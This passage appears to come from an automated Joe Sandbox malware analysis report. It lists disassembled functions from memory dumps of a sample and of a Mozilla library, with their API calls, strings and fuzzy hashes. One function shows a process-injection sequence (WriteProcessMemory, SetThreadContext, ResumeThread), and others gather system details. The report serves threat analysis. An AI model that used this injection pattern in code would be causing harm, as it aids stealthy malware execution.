API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 568878067-0
Opcode ID: e2bcbc99171076b209d5305d76e7cbade6635b2c9431acba1683732f20282d34
Instruction ID: 863fae014c51e3121ad84837a712ee9e835d727096ac2dff6eeed933a4ff3d65
Opcode Fuzzy Hash: e2bcbc99171076b209d5305d76e7cbade6635b2c9431acba1683732f20282d34
Instruction Fuzzy Hash: F2315E71D00B189FDB28CFA9D890AAAFBF5FB48304B40492EE19AD3750D770A504CF54

Function 6C7FB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7FB4F5
AcquireSRWLockExclusive.KERNEL32(6C86F4B8), ref: 6C7FB502
ReleaseSRWLockExclusive.KERNEL32(6C86F4B8), ref: 6C7FB542
free.MOZGLUE(?), ref: 6C7FB578

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 821d507204dd8e9d92e1357ee9201da1f63f2f9b7d0c0cc511fd737784528dcb
Instruction ID: f300859050faa8c02ff6205a3d3f89c623d450036cfb3fd9d7414a5391ea4fbb
Opcode Fuzzy Hash: 821d507204dd8e9d92e1357ee9201da1f63f2f9b7d0c0cc511fd737784528dcb
Instruction Fuzzy Hash: 40119D30A04B41C7D3228F2ACA44762B3B1BFA6318F14672AE85953B01EBB4B1C6C690

Function 0040EE88 Relevance: 6.1, APIs: 4, Instructions: 52injectionthreadCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,00000000,00000000), ref: 0040EEB7
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,00000000,00000000), ref: 0040EEE9
SetThreadContext.KERNEL32(?,?,?,00000000,00000000), ref: 0040EEFF
ResumeThread.KERNEL32(?,?,00000000,00000000), ref: 0040EF09

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: MemoryProcessThreadWrite$ContextResume
String ID:
API String ID: 2723624206-0
Opcode ID: 5c84b88642f50788b41b8a97ca8b8ad518093ce166aa10d73f7886d87586cab2
Instruction ID: 5bd04a2380202ed947d8514e33e2b727538df408205183a522dc2cab8f16d968
Opcode Fuzzy Hash: 5c84b88642f50788b41b8a97ca8b8ad518093ce166aa10d73f7886d87586cab2
Instruction Fuzzy Hash: 5B114575A01209AFCB24CF58CC85FAAB7BAFF88325F109619EA19D3241C734E950CB90

Function 6C823DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C7EF20E,?), ref: 6C823DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C7EF20E,00000000,?), ref: 6C823DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C823E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C823E0E

Part of subcall function 6C81CC00: GetCurrentProcess.KERNEL32(?,?,6C7E31A7), ref: 6C81CC0D
Part of subcall function 6C81CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C7E31A7), ref: 6C81CC16

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: d824399cb9755b919c53a594aec3c7ac72bf67510cbf2fff0be5ee9a4566a091
Instruction ID: a68ce11658cebd6105b007b2b9e7294731877d50b26ad2d3300817ad3082a4db
Opcode Fuzzy Hash: d824399cb9755b919c53a594aec3c7ac72bf67510cbf2fff0be5ee9a4566a091
Instruction Fuzzy Hash: 11F082B16002087BDB10AB55DC41EBB376CEB46628F040430FD0817701D735BD2986F7

Function 004102C0 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000030,?,00414A13,?,00000000,?,Display Resolution: ,00000000,?,00423408,00000000,?,00000000), ref: 00410300
HeapAlloc.KERNEL32(00000000,?,00000030,?,00414A13,?,00000000,?,Display Resolution: ,00000000,?,00423408,00000000,?,00000000,00000000), ref: 00410307
wsprintfA.USER32 ref: 00410317

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Strings

%dx%d, xrefs: 00410311

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: 5e5f22f489dacc5aa10cc4d64015a42b55cdf70b2a4ca86f7d049c3dce6d96a9
Instruction ID: b469b4633bf7d9d17f41621af515009b01f6c5b911c36f58ab6cda36bb128d0d
Opcode Fuzzy Hash: 5e5f22f489dacc5aa10cc4d64015a42b55cdf70b2a4ca86f7d049c3dce6d96a9
Instruction Fuzzy Hash: 87F04F327417247BE71027B5AC0EFAA7AADEB85B96F042421F705E71D0C7F5580147E5

Function 0040FB60 Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,Version: ,004201E9,?,?,?,?,?,?,?,00416C7F,?), ref: 0040FB6E
HeapAlloc.KERNEL32(00000000,?,00000000,?,Version: ,004201E9,?,?,?,?,?,?,?,00416C7F,?), ref: 0040FB75
GetLocalTime.KERNEL32(00000000,?,00000000,?,Version: ,004201E9,?,?,?,?,?,?,?,00416C7F,?), ref: 0040FB81
wsprintfA.USER32 ref: 0040FBAD

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 4d305109f3ef3d83697bbc03fdd5fd715f2baf2e05ea000cfa765ac638a78461
Instruction ID: 737ece3d2e1431aa8d6e191e607532cf782fce3b012890d995284c628cdb8f58
Opcode Fuzzy Hash: 4d305109f3ef3d83697bbc03fdd5fd715f2baf2e05ea000cfa765ac638a78461
Instruction Fuzzy Hash: 99F030B1904128BBD714ABD59C099BE77FDFB48B12F002149FA4591180E7784950D7B5

Function 6C8385B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C8385D3

Part of subcall function 6C7FCA10: malloc.MOZGLUE(?), ref: 6C7FCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C838725

Strings

map/set<T> too long, xrefs: 6C838720

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: e200d9a269b9818dcc3b936c4861007aefaa681e6c9b681bf63dd11da782ab19
Instruction ID: 834fd56b0fae7a9b196ed284629721afb656254570959dddb529e2bee7b21df9
Opcode Fuzzy Hash: e200d9a269b9818dcc3b936c4861007aefaa681e6c9b681bf63dd11da782ab19
Instruction Fuzzy Hash: 8451A6B46006618FC711CF58C288A56BBF1BF4A318F18E99AD8588BB62C374EC41CFD1

Function 0040DAB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040DB25
memcpy.MSVCRT ref: 0040DB76

Part of subcall function 0040D9C0: std::_Xinvalid_argument.LIBCPMT ref: 0040D9DA

Strings

string too long, xrefs: 0040DB20

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$memcpy
String ID: string too long
API String ID: 2304785028-2556327735
Opcode ID: 7a4a2e8c22a69f6db4eee73f13ebe5a2434fde7bcb3fea99faaf6fca5997d16b
Instruction ID: c283b49930633067d69d32aa33c4b397289db086e1c4d31bd139b41a31e9c501
Opcode Fuzzy Hash: 7a4a2e8c22a69f6db4eee73f13ebe5a2434fde7bcb3fea99faaf6fca5997d16b
Instruction Fuzzy Hash: C6310932B102109BD7249DDCA88096BF7F9EBA6760B21093FF542D77C1C775AC4887A8

Function 6C7EBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C7EBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C7EBE8F

Strings

0, xrefs: 6C7EBE5B

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 7794b71511439ffa4096d7ba3fdf6b2775213c69bf103220680bb3ef9c24796a
Instruction ID: 193b4590b7cdb4616cd6af66a611a79843d0fd79af4886799faa56d211134193
Opcode Fuzzy Hash: 7794b71511439ffa4096d7ba3fdf6b2775213c69bf103220680bb3ef9c24796a
Instruction Fuzzy Hash: 4A41A272909745CFC751CF38C58199BBBF8AF8E348F004A2DF98597611D730E9598B86

Function 0040D7F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040D80B

Part of subcall function 0041F693: std::exception::exception.LIBCMT ref: 0041F6A8
Part of subcall function 0041F693: __CxxThrowException@8.LIBCMT ref: 0041F6BD
Part of subcall function 0041F693: std::exception::exception.LIBCMT ref: 0041F6CE

std::_Xinvalid_argument.LIBCPMT ref: 0040D822

Strings

string too long, xrefs: 0040D806, 0040D81D

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: ee3396c8a4072e2b9f4c87bcf143107fc7b7d27ebc9be195b2b2f92ff6fcf77b
Instruction ID: cdda2e889000b81a88f7b8a04d6d52a7784abd76784e6a225e498f617bc84807
Opcode Fuzzy Hash: ee3396c8a4072e2b9f4c87bcf143107fc7b7d27ebc9be195b2b2f92ff6fcf77b
Instruction Fuzzy Hash: D211E7737006105BD320A99DA880B6AF3E9EFA5764F10463FF561976D1C7B5984883A8

Function 00411E60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411E84
strtok_s.MSVCRT ref: 00411EE0

Part of subcall function 0040F8A0: lstrlenA.KERNEL32(004176BE,?,00000000,?,00416587,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 0040F8AB
Part of subcall function 0040F8A0: lstrcpyA.KERNEL32(00000000,004176BE), ref: 0040F8E2

Strings

kA, xrefs: 00411E70, 00411EDA, 00411E73, 00411EDD

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: kA
API String ID: 348468850-1675843574
Opcode ID: 402a8cbbc399adca27d8decfdcb5baebb522c6cea12cb86b44929483e3769ff2
Instruction ID: 6a154a2029e3c3d8848c6b621320bab611f3bdb3ed7a6c2e259cd8e6f78cd324
Opcode Fuzzy Hash: 402a8cbbc399adca27d8decfdcb5baebb522c6cea12cb86b44929483e3769ff2
Instruction Fuzzy Hash: 4111667250020ADBCF24DF99D881DEB73A8EF54304B00456EE906975A1EA34BA59CBA9

Function 0040D4B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040D4C6

Part of subcall function 0041F6E0: std::exception::exception.LIBCMT ref: 0041F6F5
Part of subcall function 0041F6E0: __CxxThrowException@8.LIBCMT ref: 0041F70A
Part of subcall function 0041F6E0: std::exception::exception.LIBCMT ref: 0041F71B

memmove.MSVCRT ref: 0040D4FF

Strings

invalid string position, xrefs: 0040D4C1

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: fcc41ee828d795864ab81c85c0149d178c7dcd1416a7771a7c070d3e0bbb743e
Instruction ID: 689190e52cc2fb1fab35ec8e24c5a0cee0fa9f3893f9c314e1a18010aa9f6d35
Opcode Fuzzy Hash: fcc41ee828d795864ab81c85c0149d178c7dcd1416a7771a7c070d3e0bbb743e
Instruction Fuzzy Hash: 1D01DB317002505BC324CEECED8096AB7AAEB91714724493FD085D7781D6B4FC4AC798

Function 6C823CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C823D19
mozalloc_abort.MOZGLUE(?), ref: 6C823D6C

Strings

d, xrefs: 6C823D58

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 1c50501f4848f430886414d42d7c714d3a311d88828fe4a3b5ab8707ba89673c
Instruction ID: 2a21eec5e829273c94accae6bf9280077a55eba6cd1b477b7d5ea16e9974f345
Opcode Fuzzy Hash: 1c50501f4848f430886414d42d7c714d3a311d88828fe4a3b5ab8707ba89673c
Instruction Fuzzy Hash: DF110835E0478897DB218B6DCD284EDB779EF86219B849629EC445B602EB34A9C4C7D0

Function 6C846DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C846E22
__Init_thread_footer.LIBCMT ref: 6C846E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C846E1D

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 3e0a05679801ce8426e962bda076f696a920ccf97be706086e431ac85f55856a
Instruction ID: 89837aad7d6f12534c78a5421d0ac01f42bbb2c789b40fd39d2f895eaebcfc9d
Opcode Fuzzy Hash: 3e0a05679801ce8426e962bda076f696a920ccf97be706086e431ac85f55856a
Instruction Fuzzy Hash: DCF024362042858BDA308B6ACB50FA137B2672321CF143D75C44087F51D722ED06CAD3

Function 6C7F9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C7F9EEF

Strings

Infinity, xrefs: 6C7F9EB7
NaN, xrefs: 6C7F9EC1

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 6feb6370c2e80179d612cd4df18719d01138b116d989215b8778b3afda911b38
Instruction ID: 9d886a410ae11b1da6da812777ce53c1fb07e0906dd6d1fb919ff95bdec3ddac
Opcode Fuzzy Hash: 6feb6370c2e80179d612cd4df18719d01138b116d989215b8778b3afda911b38
Instruction Fuzzy Hash: AAF069726002418AEB30CF1ADA857A033B1B73330EF602A34D5100AB40D376F55ACAC2

Function 0041CC43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,0041CC7C,00000000,00000000,00000000,00000000,00000000,0041E181,?,0041D562,00000003,0041CCB8,00426E20,0000000C,0041CD74,00000000), ref: 0041CC4E
__invoke_watson.LIBCMT ref: 0041CC6A

Strings

`oB, xrefs: 0041CC5B

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
